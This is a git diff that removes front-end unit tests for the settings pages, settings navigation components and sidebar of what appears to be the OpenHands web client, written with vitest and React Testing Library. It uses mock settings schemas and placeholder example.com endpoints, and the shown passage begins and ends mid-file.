section_label: "LLM", - value_type: "string", - default: null, - choices: [], - depends_on: [], - prominence: "major", - secret: false, - required: false, - }, - ], - }, - ], - }; - - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings_schema: schema, - agent_settings: { - "llm.model": "openhands/claude-opus-4-5-20251101", - }, - }), - ); - - const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - }, - }); - - function Wrapper() { - const [externalValue, setExternalValue] = React.useState(""); - - return ( - ( - setExternalValue(event.target.value)} - /> - )} - /> - ); - } - - render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await screen.findByTestId("sdk-section-advanced-toggle"); - await userEvent.click(screen.getByTestId("sdk-section-advanced-toggle")); - await screen.findByTestId("sdk-settings-llm.base_url"); - - await userEvent.type(screen.getByTestId("external-state-input"), "a"); - - await waitFor(() => { - expect( - screen.getByTestId("sdk-settings-llm.base_url"), - ).toBeInTheDocument(); - }); - }); - - it("resets from advanced to the inferred basic view after saving when advanced settings match defaults", async () => { - const schema: NonNullable = { - model_name: "AgentSettings", - sections: [ - { - key: "llm", - label: "LLM", - fields: [ - { - key: "llm.endpoint", - label: "Endpoint", - section: "llm", - section_label: "LLM", - value_type: "string", - default: "https://api.example.com", - choices: [], - depends_on: [], - prominence: "critical", - secret: false, - required: true, - }, - { - key: "llm.api_version", - label: "API Version", - section: "llm", - section_label: "LLM", - value_type: "string", - default: null, - choices: [], - depends_on: [], - prominence: "major", - secret: false, - required: false, - }, - ], - }, - ], - }; - - let persistedSettings = buildSettings({ - agent_settings_schema: schema, - agent_settings: { - llm: { - endpoint: "https://api.example.com", - }, - }, - }); - - const getSettingsSpy = vi - .spyOn(SettingsService, "getSettings") - .mockImplementation(async () => structuredClone(persistedSettings)); - vi.spyOn(SettingsService, "saveSettings").mockImplementation( - async (payload) => { - const agentSettings = payload.agent_settings_diff as Record< - string, - unknown - >; - const llmSettings = (agentSettings.llm ?? {}) as Record< - string, - unknown - >; - - persistedSettings = buildSettings({ - agent_settings_schema: schema, - agent_settings: { - llm: { - endpoint: - typeof llmSettings.endpoint === "string" - ? llmSettings.endpoint - : "https://api.example.com", - }, - }, - }); - - return true; - }, - ); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["llm"] }, - ], - }); - - await screen.findByTestId("sdk-section-advanced-toggle"); - await userEvent.click(screen.getByTestId("sdk-section-advanced-toggle")); - await screen.findByTestId("sdk-settings-llm.api_version"); - - const endpointInput = await screen.findByTestId( - "sdk-settings-llm.endpoint", - ); - await userEvent.clear(endpointInput); - await userEvent.type(endpointInput, "https://api.changed.example.com"); - await userEvent.click(screen.getByTestId("save-button")); - - await waitFor(() => { - expect(getSettingsSpy).toHaveBeenCalledTimes(2); - }); - - await waitFor(() => { - expect( - screen.queryByTestId("sdk-settings-llm.api_version"), - ).not.toBeInTheDocument(); - }); - }); - - it("resets from all to the inferred basic view after saving when detailed settings match defaults", async () => { - const schema: NonNullable = { - model_name: "AgentSettings", - sections: [ - { - key: "llm", - label: "LLM", - fields: [ - { - key: "llm.endpoint", - label: "Endpoint", - section: "llm", - section_label: "LLM", - value_type: "string", - default: "https://api.example.com", - choices: [], - depends_on: [], - prominence: "critical", - secret: false, - required: true, - }, - { - key: "llm.timeout", - label: "Timeout", - section: "llm", - section_label: "LLM", - value_type: "integer", - default: 30, - choices: [], - depends_on: [], - prominence: "minor", - secret: false, - required: false, - }, - ], - }, - ], - }; - - let persistedSettings = buildSettings({ - agent_settings_schema: schema, - agent_settings: { - llm: { - endpoint: "https://api.example.com", - }, - }, - }); - - const getSettingsSpy = vi - .spyOn(SettingsService, "getSettings") - .mockImplementation(async () => structuredClone(persistedSettings)); - vi.spyOn(SettingsService, "saveSettings").mockImplementation( - async (payload) => { - const agentSettings = payload.agent_settings_diff as Record< - string, - unknown - >; - const llmSettings = (agentSettings.llm ?? {}) as Record< - string, - unknown - >; - - persistedSettings = buildSettings({ - agent_settings_schema: schema, - agent_settings: { - llm: { - endpoint: - typeof llmSettings.endpoint === "string" - ? llmSettings.endpoint - : "https://api.example.com", - }, - }, - }); - - return true; - }, - ); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["llm"] }, - ], - }); - - await screen.findByTestId("sdk-section-all-toggle"); - await userEvent.click(screen.getByTestId("sdk-section-all-toggle")); - await screen.findByTestId("sdk-settings-llm.timeout"); - - const endpointInput = await screen.findByTestId( - "sdk-settings-llm.endpoint", - ); - await userEvent.clear(endpointInput); - await userEvent.type(endpointInput, "https://api.changed.example.com"); - await userEvent.click(screen.getByTestId("save-button")); - - await waitFor(() => { - expect(getSettingsSpy).toHaveBeenCalledTimes(2); - }); - - await waitFor(() => { - expect( - screen.queryByTestId("sdk-settings-llm.timeout"), - ).not.toBeInTheDocument(); - }); - }); - - it("shows the advanced toggle when it is forced for a critical-only schema", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSavableSettings(), - ); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["llm"] }, - ], - forceShowAdvancedView: true, - }); - - await screen.findByTestId("sdk-section-basic-toggle"); - expect( - screen.getByTestId("sdk-section-advanced-toggle"), - ).toBeInTheDocument(); - expect( - screen.queryByTestId("sdk-section-all-toggle"), - ).not.toBeInTheDocument(); - }); - - it("shows the all toggle instead of an empty advanced tier for minor-only schemas", async () => { - const schema: NonNullable = { - model_name: "AgentSettings", - sections: [ - { - key: "condenser", - label: "Condenser", - fields: [ - { - key: "condenser.enabled", - label: "Enable memory condensation", - section: "condenser", - section_label: "Condenser", - value_type: "boolean", - default: true, - choices: [], - depends_on: [], - prominence: "critical", - secret: false, - required: true, - }, - { - key: "condenser.max_size", - label: "Max size", - section: "condenser", - section_label: "Condenser", - value_type: "integer", - default: 240, - choices: [], - depends_on: ["condenser.enabled"], - prominence: "minor", - secret: false, - required: true, - }, - ], - }, - ], - }; - - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings_schema: schema, - agent_settings: { - "condenser.enabled": true, - "condenser.max_size": 240, - }, - }), - ); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["condenser"] }, - ], - }); - - await screen.findByTestId("sdk-section-basic-toggle"); - expect( - screen.queryByTestId("sdk-section-advanced-toggle"), - ).not.toBeInTheDocument(); - expect(screen.getByTestId("sdk-section-all-toggle")).toBeInTheDocument(); - }); - - it("renders URL-like schema fields as url inputs", async () => { - const schema: NonNullable = { - model_name: "AgentSettings", - sections: [ - { - key: "verification", - label: "Verification", - fields: [ - { - key: "verification.critic_enabled", - label: "Enable critic", - section: "verification", - section_label: "Verification", - value_type: "boolean", - default: true, - choices: [], - depends_on: [], - prominence: "critical", - secret: false, - required: true, - }, - { - key: "verification.critic_server_url", - label: "Critic server URL", - section: "verification", - section_label: "Verification", - value_type: "string", - default: null, - choices: [], - depends_on: ["verification.critic_enabled"], - prominence: "minor", - secret: false, - required: false, - }, - ], - }, - ], - }; - - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings_schema: schema, - agent_settings: { - verification: { - critic_enabled: true, - critic_server_url: "https://critic.example.com", - }, - }, - }), - ); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["verification"] }, - ], - getInitialView: () => "all", - }); - - expect( - await screen.findByTestId("sdk-settings-verification.critic_server_url"), - ).toHaveAttribute("type", "url"); - }); - - it("shows a success toast after saving settings", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSavableSettings(), - ); - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - const displaySuccessToastSpy = vi.spyOn( - ToastHandlers, - "displaySuccessToast", - ); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["llm"] }, - ], - }); - - const endpointInput = await screen.findByTestId( - "sdk-settings-llm.endpoint", - ); - await userEvent.clear(endpointInput); - await userEvent.type(endpointInput, "https://api.changed.example.com"); - await userEvent.click(screen.getByTestId("save-button")); - - await waitFor(() => { - expect(displaySuccessToastSpy).toHaveBeenCalled(); - }); - }); - - it("saves dirty fields from multiple settings sources into separate diffs", async () => { - const agentSchema: NonNullable = { - model_name: "AgentSettings", - sections: [ - { - key: "verification", - label: "Verification", - fields: [ - { - key: "verification.critic_enabled", - label: "Enable critic", - section: "verification", - section_label: "Verification", - value_type: "boolean", - default: false, - choices: [], - depends_on: [], - prominence: "critical", - secret: false, - required: false, - }, - ], - }, - ], - }; - const conversationSchema: NonNullable< - Settings["conversation_settings_schema"] - > = { - model_name: "ConversationSettings", - sections: [ - { - key: "verification", - label: "Verification", - fields: [ - { - key: "confirmation_mode", - label: "Confirmation mode", - section: "verification", - section_label: "Verification", - value_type: "boolean", - default: false, - choices: [], - depends_on: [], - prominence: "critical", - secret: false, - required: false, - }, - ], - }, - ], - }; - - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings_schema: agentSchema, - conversation_settings_schema: conversationSchema, - agent_settings: { - verification: { - critic_enabled: false, - }, - }, - conversation_settings: { - confirmation_mode: false, - }, - }), - ); - const saveSettingsSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderSdkSectionPage({ - settingsSources: [ - { - settingsSource: "conversation_settings", - sectionKeys: ["verification"], - }, - { - settingsSource: "agent_settings", - sectionKeys: ["verification"], - }, - ], - }); - - const confirmationInput = await screen.findByTestId( - "sdk-settings-confirmation_mode", - ); - const criticInput = await screen.findByTestId( - "sdk-settings-verification.critic_enabled", - ); - await userEvent.click(confirmationInput.closest("label")!); - await userEvent.click(criticInput.closest("label")!); - await userEvent.click(screen.getByTestId("save-button")); - - await waitFor(() => { - expect(saveSettingsSpy).toHaveBeenCalledWith({ - conversation_settings_diff: { - confirmation_mode: true, - }, - agent_settings_diff: { - verification: { - critic_enabled: true, - }, - }, - }); - }); - }); - - it("shows an error toast when saving settings fails", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSavableSettings(), - ); - vi.spyOn(SettingsService, "saveSettings").mockRejectedValue( - new AxiosError("Request failed"), - ); - const displayErrorToastSpy = vi.spyOn(ToastHandlers, "displayErrorToast"); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["llm"] }, - ], - }); - - const endpointInput = await screen.findByTestId( - "sdk-settings-llm.endpoint", - ); - await userEvent.clear(endpointInput); - await userEvent.type(endpointInput, "https://api.changed.example.com"); - await userEvent.click(screen.getByTestId("save-button")); - - await waitFor(() => { - expect(displayErrorToastSpy).toHaveBeenCalled(); - }); - }); - - it("renders the schema-unavailable fallback instead of crashing when the schema is malformed", async () => { - // Simulates the production failure mode we hit on Vercel previews: - // the frontend points at a host that does not serve - // `/api/settings/agent-schema`, so the schema query resolves with a - // truthy object that nevertheless has no `sections` array. The page - // must surface this as the existing "schema unavailable" message - // instead of throwing - // `Cannot read properties of undefined (reading 'filter')` and - // letting React Router escalate to a full-screen error. - const malformedSchema = { - model_name: "AgentSettings", - // `sections` deliberately omitted to mimic an SPA shell that - // happened to parse into a non-schema object. - } as unknown as NonNullable; - - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ agent_settings_schema: malformedSchema }), - ); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["llm"] }, - ], - }); - - expect( - await screen.findByText("SETTINGS$SDK_SCHEMA_UNAVAILABLE"), - ).toBeInTheDocument(); - expect( - screen.queryByTestId("sdk-section-settings-screen"), - ).not.toBeInTheDocument(); - }); - - it("allows saving custom payloads when only external state is dirty", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings()); - const saveSettingsSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["llm"] }, - ], - extraDirty: true, - buildPayload: (payload) => ({ - ...payload, - search_api_key: "external-search-key", - }), - }); - - await userEvent.click(await screen.findByTestId("save-button")); - - await waitFor(() => { - expect(saveSettingsSpy).toHaveBeenCalledWith( - expect.objectContaining({ search_api_key: "external-search-key" }), - ); - }); - }); - - it("exposes the active view and a coerced, dirty-only payload on the save control", async () => { - // Arrange — a basic-tier schema with a single editable field. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSavableSettings(), - ); - let latestControl: SdkSectionSaveControl | null = null; - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["llm"] }, - ], - onSaveControlChange: (control) => { - latestControl = control; - }, - }); - - // Act — change one field so it becomes dirty. - const endpointInput = await screen.findByTestId( - "sdk-settings-llm.endpoint", - ); - await userEvent.clear(endpointInput); - await userEvent.type(endpointInput, "https://new.example.com"); - - // Assert — the control reports the basic view and returns only the dirty - // field, nested under its section. Consumers (e.g. the local profile - // editor) rely on both to drive a custom save. - await waitFor(() => { - expect(latestControl?.view).toBe("basic"); - expect(latestControl?.getDirtyPayload()).toEqual({ - llm: { endpoint: "https://new.example.com" }, - }); - }); - }); -}); diff --git a/__tests__/components/features/settings/settings-dropdown-input.test.tsx b/__tests__/components/features/settings/settings-dropdown-input.test.tsx deleted file mode 100644 index 69f38a304..000000000 --- a/__tests__/components/features/settings/settings-dropdown-input.test.tsx +++ /dev/null @@ -1,97 +0,0 @@ -import { describe, expect, it, vi } from "vitest"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { SettingsDropdownInput } from "#/components/features/settings/settings-dropdown-input"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -const items = [ - { key: "english", label: "English" }, - { key: "spanish", label: "Spanish" }, - { key: "german", label: "German" }, -]; - -describe("SettingsDropdownInput", () => { - it("shows the default selection and emits selection changes", async () => { - const user = userEvent.setup(); - const onSelectionChange = vi.fn(); - - render( - , - ); - - const input = screen.getByLabelText("Language"); - - expect(input).toHaveValue("English"); - - await user.click(input); - await user.click(await screen.findByText("Spanish")); - - expect(onSelectionChange).toHaveBeenCalledWith("spanish"); - }); - - it("filters options while typing", async () => { - const user = userEvent.setup(); - - render( - , - ); - - const input = screen.getByLabelText("Language"); - await user.click(input); - await user.clear(input); - await user.keyboard("Germ"); - - expect(await screen.findByText("German")).toBeInTheDocument(); - expect(screen.queryByText("English")).not.toBeInTheDocument(); - expect(screen.queryByText("Spanish")).not.toBeInTheDocument(); - }); - - it("clears the selection when the clear button is pressed", async () => { - const user = userEvent.setup(); - const onSelectionChange = vi.fn(); - const onInputChange = vi.fn(); - - render( - , - ); - - const clearButton = screen - .getAllByRole("button") - .find((button) => button.getAttribute("aria-label") !== "Show suggestions"); - if (!clearButton) { - throw new Error("Clear button not found"); - } - await user.click(clearButton); - - expect(screen.getByLabelText("Language")).toHaveValue(""); - expect(onSelectionChange).toHaveBeenCalledWith(null); - expect(onInputChange).toHaveBeenCalledWith(""); - }); -}); diff --git a/__tests__/components/features/settings/settings-layout.test.tsx b/__tests__/components/features/settings/settings-layout.test.tsx deleted file mode 100644 index 669dd4131..000000000 --- a/__tests__/components/features/settings/settings-layout.test.tsx +++ /dev/null @@ -1,36 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it } from "vitest"; -import { MemoryRouter } from "react-router"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { SettingsLayout } from "#/components/features/settings/settings-layout"; -import { OSS_NAV_ITEMS } from "#/constants/settings-nav"; -import { SettingsNavRenderedItem } from "#/hooks/use-settings-nav-items"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; - -const navigationItems: SettingsNavRenderedItem[] = OSS_NAV_ITEMS.map((item) => ({ - type: "item", - item, -})); - -describe("SettingsLayout", () => { - it("renders the desktop sidebar alongside the provided child content", () => { - render( - - - - -
    page body
    -
    -
    -
    -
    , - ); - - expect(screen.getByTestId("settings-navbar-desktop")).toBeInTheDocument(); - expect(screen.getByTestId("page-body")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/settings/settings-nav-divider.test.tsx b/__tests__/components/features/settings/settings-nav-divider.test.tsx deleted file mode 100644 index 0a0982998..000000000 --- a/__tests__/components/features/settings/settings-nav-divider.test.tsx +++ /dev/null @@ -1,25 +0,0 @@ -import { render } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { SettingsNavDivider } from "#/components/features/settings/settings-nav-divider"; - -describe("SettingsNavDivider", () => { - it("should render the divider element", () => { - // Arrange & Act - const { container } = render(); - - // Assert - const divider = container.firstChild; - expect(divider).toBeInTheDocument(); - }); - - // Prop-passthrough contract: consumer-supplied className must land on the - // element. - it("should accept custom className", () => { - // Arrange & Act - const { container } = render(); - - // Assert - const divider = container.firstChild; - expect(divider).toHaveClass("custom-class"); - }); -}); diff --git a/__tests__/components/features/settings/settings-nav-header.test.tsx b/__tests__/components/features/settings/settings-nav-header.test.tsx deleted file mode 100644 index 48cbc0f8c..000000000 --- a/__tests__/components/features/settings/settings-nav-header.test.tsx +++ /dev/null @@ -1,28 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { SettingsNavHeader } from "#/components/features/settings/settings-nav-header"; -import { I18nKey } from "#/i18n/declaration"; - -describe("SettingsNavHeader", () => { - it("should render the translated header text", () => { - render(); - - expect( - screen.getByText("SETTINGS$PERSONAL_SETTINGS_HEADER"), - ).toBeInTheDocument(); - }); - - // Prop-passthrough contract: consumer-supplied className must land on the - // element. - it("should accept custom className", () => { - const { container } = render( - , - ); - - const wrapper = container.firstChild; - expect(wrapper).toHaveClass("custom-class"); - }); -}); diff --git a/__tests__/components/features/settings/settings-nav-link.test.tsx b/__tests__/components/features/settings/settings-nav-link.test.tsx deleted file mode 100644 index 95142ffbd..000000000 --- a/__tests__/components/features/settings/settings-nav-link.test.tsx +++ /dev/null @@ -1,79 +0,0 @@ -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { SettingsNavLink } from "#/components/features/settings/settings-nav-link"; -import { I18nKey } from "#/i18n/declaration"; - -const mockNavItem = { - to: "/settings/test", - icon: Icon, - text: I18nKey.SETTINGS$NAV_API_KEYS, - subtitle: I18nKey.SETTINGS$PAGE_LLM_SUBLINE, -}; - -const renderSettingsNavLink = ( - item = mockNavItem, - onClick = vi.fn(), - currentPath = "/", -) => - renderWithProviders(, { - navigation: { currentPath }, - }); - -describe("SettingsNavLink", () => { - it("should render the link with icon and text", () => { - // Arrange & Act - renderSettingsNavLink(); - - // Assert - expect(screen.getByRole("link")).toBeInTheDocument(); - expect(screen.getByTestId("test-icon")).toBeInTheDocument(); - expect(screen.getByText("SETTINGS$NAV_API_KEYS")).toBeInTheDocument(); - }); - - it("should navigate to the correct route", () => { - // Arrange & Act - renderSettingsNavLink(); - - // Assert - const link = screen.getByRole("link"); - expect(link).toHaveAttribute("href", "/settings/test"); - }); - - it("should call onClick when clicked", async () => { - // Arrange - const user = userEvent.setup(); - const onClick = vi.fn(); - renderSettingsNavLink(mockNavItem, onClick); - - // Act - await user.click(screen.getByRole("link")); - - // Assert - expect(onClick).toHaveBeenCalledTimes(1); - }); - - it("should mark the current settings route as active", () => { - renderSettingsNavLink(mockNavItem, vi.fn(), "/settings/test"); - - expect(screen.getByRole("link")).toHaveAttribute("aria-current", "page"); - }); - - it("should render different text based on item prop", () => { - // Arrange - const customItem = { - to: "/settings/secrets", - icon: Icon, - text: I18nKey.SETTINGS$NAV_SECRETS, - subtitle: I18nKey.SETTINGS$PAGE_SECRETS_SUBLINE, - }; - - // Act - renderSettingsNavLink(customItem); - - // Assert - expect(screen.getByText("SETTINGS$NAV_SECRETS")).toBeInTheDocument(); - expect(screen.getByRole("link")).toHaveAttribute("href", "/settings/secrets"); - }); -}); diff --git a/__tests__/components/features/settings/settings-navigation.test.tsx b/__tests__/components/features/settings/settings-navigation.test.tsx deleted file mode 100644 index eec422678..000000000 --- a/__tests__/components/features/settings/settings-navigation.test.tsx +++ /dev/null @@ -1,160 +0,0 @@ -import type { ReactNode } from "react"; -import { render, screen, within } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; -import { MemoryRouter } from "react-router"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { SettingsNavigation } from "#/components/features/settings/settings-navigation"; -import { SettingsDesktopSidebar } from "#/components/features/settings/settings-desktop-sidebar"; -import { SettingsMobileHub } from "#/components/features/settings/settings-mobile-hub"; -import { OSS_NAV_ITEMS } from "#/constants/settings-nav"; -import { SettingsNavRenderedItem } from "#/hooks/use-settings-nav-items"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; - -const llmItem = OSS_NAV_ITEMS.find((item) => item.to === "/settings/llm")!; -const condenserItem = OSS_NAV_ITEMS.find( - (item) => item.to === "/settings/condenser", -)!; -const verificationItem = OSS_NAV_ITEMS.find( - (item) => item.to === "/settings/verification", -)!; -const acpAccessibleItems: SettingsNavRenderedItem[] = [ - { type: "item", item: llmItem }, - { type: "item", item: condenserItem }, - { type: "item", item: verificationItem }, -]; - -const baseItems: SettingsNavRenderedItem[] = [ - { type: "header", text: "SETTINGS$TITLE" as never }, - { type: "item", item: llmItem }, - { type: "divider" }, - { type: "item", item: condenserItem }, -]; - -function renderSettingsNavigation(ui: ReactNode) { - return render( - - - {ui} - - , - ); -} - -describe("SettingsNavigation", () => { - it("renders the provided OSS navigation items, headers, and dividers", () => { - renderSettingsNavigation( - , - ); - - expect(screen.getByTestId("settings-navbar")).toBeInTheDocument(); - expect(screen.getAllByText("SETTINGS$TITLE").length).toBeGreaterThan(0); - expect(screen.getAllByText("SETTINGS$NAV_LLM").length).toBeGreaterThan(0); - expect( - screen.getAllByText("SETTINGS$NAV_CONDENSER").length, - ).toBeGreaterThan(0); - }); - - it("closes the mobile drawer when the close button is clicked", async () => { - const onCloseMobileMenu = vi.fn(); - renderSettingsNavigation( - , - ); - - await userEvent.click( - screen.getByRole("button", { name: "SIDEBAR$CLOSE_MENU" }), - ); - - expect(onCloseMobileMenu).toHaveBeenCalledTimes(1); - }); - - it("closes the mobile drawer after a navigation item is selected", async () => { - const onCloseMobileMenu = vi.fn(); - renderSettingsNavigation( - , - ); - - const mobileNav = screen.getByTestId("settings-navbar"); - await userEvent.click(within(mobileNav).getByText("SETTINGS$NAV_LLM")); - - expect(onCloseMobileMenu).toHaveBeenCalledTimes(1); - }); - - it("keeps ACP-accessible settings clickable in the desktop sidebar", () => { - renderSettingsNavigation( - , - ); - const desktopNav = screen.getByTestId("settings-navbar-desktop"); - for (const item of [llmItem, condenserItem, verificationItem]) { - const link = within(desktopNav).getByTestId( - `sidebar-settings-${item.to}`, - ); - expect(link).toHaveAttribute("href", item.to); - expect(link).not.toHaveAttribute("aria-disabled"); - } - }); -}); - -// Focused unit coverage for the two components extracted out of this file. -// The ``SettingsNavigation`` suite above already exercises the behaviors both -// surfaces share (close button, item-select dismissal, the desktop -// disabled/tooltip wiring). These cover each extracted component's distinct -// contract that the composite does not assert. -describe("SettingsDesktopSidebar", () => { - it("renders a navigation link for each item entry and excludes headers and dividers", () => { - // Arrange + Act: baseItems holds one header, two items, and one divider. - renderSettingsNavigation( - , - ); - - // Assert: only the two ``item`` entries become links — the header and - // divider are filtered out of the desktop rail. - const desktopNav = screen.getByTestId("settings-navbar-desktop"); - const links = within(desktopNav).getAllByTestId(/^sidebar-settings-/); - - expect(links).toHaveLength(2); - expect( - within(desktopNav).getByTestId("sidebar-settings-/settings/llm"), - ).toBeInTheDocument(); - expect( - within(desktopNav).getByTestId("sidebar-settings-/settings/condenser"), - ).toBeInTheDocument(); - }); -}); - -describe("SettingsMobileHub", () => { - it("keeps ACP-accessible settings clickable in the mobile settings hub", () => { - renderSettingsNavigation( - , - ); - - const mobileNav = screen.getByTestId("settings-mobile-hub"); - for (const item of [llmItem, condenserItem, verificationItem]) { - const link = within(mobileNav).getByRole("link", { - name: item.text, - }); - expect(link).toHaveAttribute("href", item.to); - expect(link).not.toHaveAttribute("aria-disabled"); - } - }); -}); diff --git a/__tests__/components/features/sidebar/sidebar-email-verification.test.tsx b/__tests__/components/features/sidebar/sidebar-email-verification.test.tsx deleted file mode 100644 index 7679f2565..000000000 --- a/__tests__/components/features/sidebar/sidebar-email-verification.test.tsx +++ /dev/null @@ -1,160 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { Sidebar } from "#/components/features/sidebar/sidebar"; -import { - NavigationProvider, - type NavigationContextValue, -} from "#/context/navigation-context"; -import { SidebarMobileNavProvider } from "#/components/features/sidebar/sidebar-mobile-nav-context"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { useSidebarStore } from "#/stores/sidebar-store"; -import { useSettings } from "#/hooks/query/use-settings"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import OptionService from "#/api/option-service/option-service.api"; -import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; -import type { Settings } from "#/types/settings"; -import type { WebClientConfig } from "#/api/option-service/option.types"; -import type { Backend } from "#/api/backend-registry/types"; - -// Isolate the sidebar down to its top-level navigation. These are peripheral to -// email-verification gating: the conversation list and backend selector fetch -// their own data, the command menu is a search launcher, and the logo is -// decorative. Mocking the *components* (not the settings/backend hooks under -// test) keeps the render deterministic. -vi.mock("#/components/features/sidebar/sidebar-conversation-list", () => ({ - SidebarConversationList: () => ( -
    - ), -})); -vi.mock("#/components/features/backends/backend-selector", () => ({ - BackendSelector: () =>
    , -})); -vi.mock("#/components/features/command-menu/command-menu-trigger", () => ({ - CommandMenuTrigger: () =>
    , -})); -vi.mock("#/components/shared/buttons/openhands-logo-button", () => ({ - OpenHandsLogoButton: () =>
    , -})); - -// The backend-health hook polls each backend over the network to drive a status -// dot shown only in the collapsed rail — unrelated to the behavior under test. -// Stub it so no probe fires (service-level mocking isn't practical here: the -// probe instantiates SDK clients inline). -vi.mock("#/hooks/query/use-backends-health", () => ({ - useBackendsHealth: () => ({}), -})); - -const TEST_BACKEND: Backend = { - id: "test-local", - name: "Local", - host: "http://localhost:3000", - apiKey: "test-key", - kind: "local", -}; - -function buildSettings(overrides: Partial = {}): Settings { - return { - ...MOCK_DEFAULT_USER_SETTINGS, - ...overrides, - agent_settings: - overrides.agent_settings ?? MOCK_DEFAULT_USER_SETTINGS.agent_settings, - }; -} - -function buildConfig(): WebClientConfig { - return { - feature_flags: { hide_llm_settings: false, hide_users_page: true }, - providers_configured: [], - maintenance_start_time: null, - recaptcha_site_key: null, - faulty_models: [], - error_message: null, - updated_at: "2026-01-01T00:00:00.000Z", - }; -} - -// Renders the sidebar next to a probe that flips a marker once the settings -// query settles with an unverified email. Waiting on the marker means the -// assertions observe the resolved `email_verified: false` state — the exact -// condition that used to disable the links — rather than the loading frame. -function ProbedSidebar() { - const settings = useSettings(); - return ( - <> - - {settings.isFetched && settings.data?.email_verified === false ? ( -
    - ) : null} - - ); -} - -function renderSidebar() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - const navigation: NavigationContextValue = { - currentPath: "/", - conversationId: null, - isNavigating: false, - navigate: vi.fn(), - }; - return render( - - - - - - - - - , - ); -} - -describe("Sidebar email verification", () => { - beforeEach(() => { - vi.restoreAllMocks(); - window.localStorage.clear(); - window.sessionStorage.clear(); - useSidebarStore.setState({ collapsed: false }); - // A resolved local backend is required; otherwise `useSettings` - // short-circuits to defaults and never calls the mocked service. - setRegisteredBackends([TEST_BACKEND]); - setActiveSelection({ backendId: TEST_BACKEND.id, orgId: null }); - vi.spyOn(OptionService, "getConfig").mockResolvedValue(buildConfig()); - }); - - afterEach(() => { - window.localStorage.clear(); - window.sessionStorage.clear(); - }); - - it("keeps primary navigation enabled when the user's email is unverified", async () => { - // Arrange: the OAuth-changed-email state — the backend stays permissive but - // reports the address as unverified. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ email_verified: false }), - ); - - // Act - renderSidebar(); - await screen.findByTestId("settings-loaded"); - - // Assert: New Chat, Customize/Extensions, and Automations stay actionable - // (a disabled link would carry aria-disabled="true"). - for (const testId of [ - "sidebar-conversations-link", - "sidebar-skills-link", - "sidebar-automations-link", - ]) { - expect(screen.getByTestId(testId)).not.toHaveAttribute("aria-disabled"); - } - }); -}); diff --git a/__tests__/components/features/sidebar/sidebar.test.tsx b/__tests__/components/features/sidebar/sidebar.test.tsx deleted file mode 100644 index aec17c989..000000000 --- a/__tests__/components/features/sidebar/sidebar.test.tsx +++ /dev/null @@ -1,457 +0,0 @@ -import { - render, - screen, - fireEvent, - within, - waitFor, -} from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { Sidebar } from "#/components/features/sidebar/sidebar"; -import { SidebarMobileNavProvider } from "#/components/features/sidebar/sidebar-mobile-nav-context"; -import { SidebarMobileMenuBar } from "#/components/features/sidebar/sidebar-mobile-menu-bar"; -import { useSidebarStore } from "#/stores/sidebar-store"; -import { - NavigationProvider, - type NavigationContextValue, -} from "#/context/navigation-context"; -import translations from "#/i18n/translation.json"; - -// The global `useTranslation` mock in `vitest.setup.ts` returns the key -// as-is. Override it here so `t(...)` resolves keys 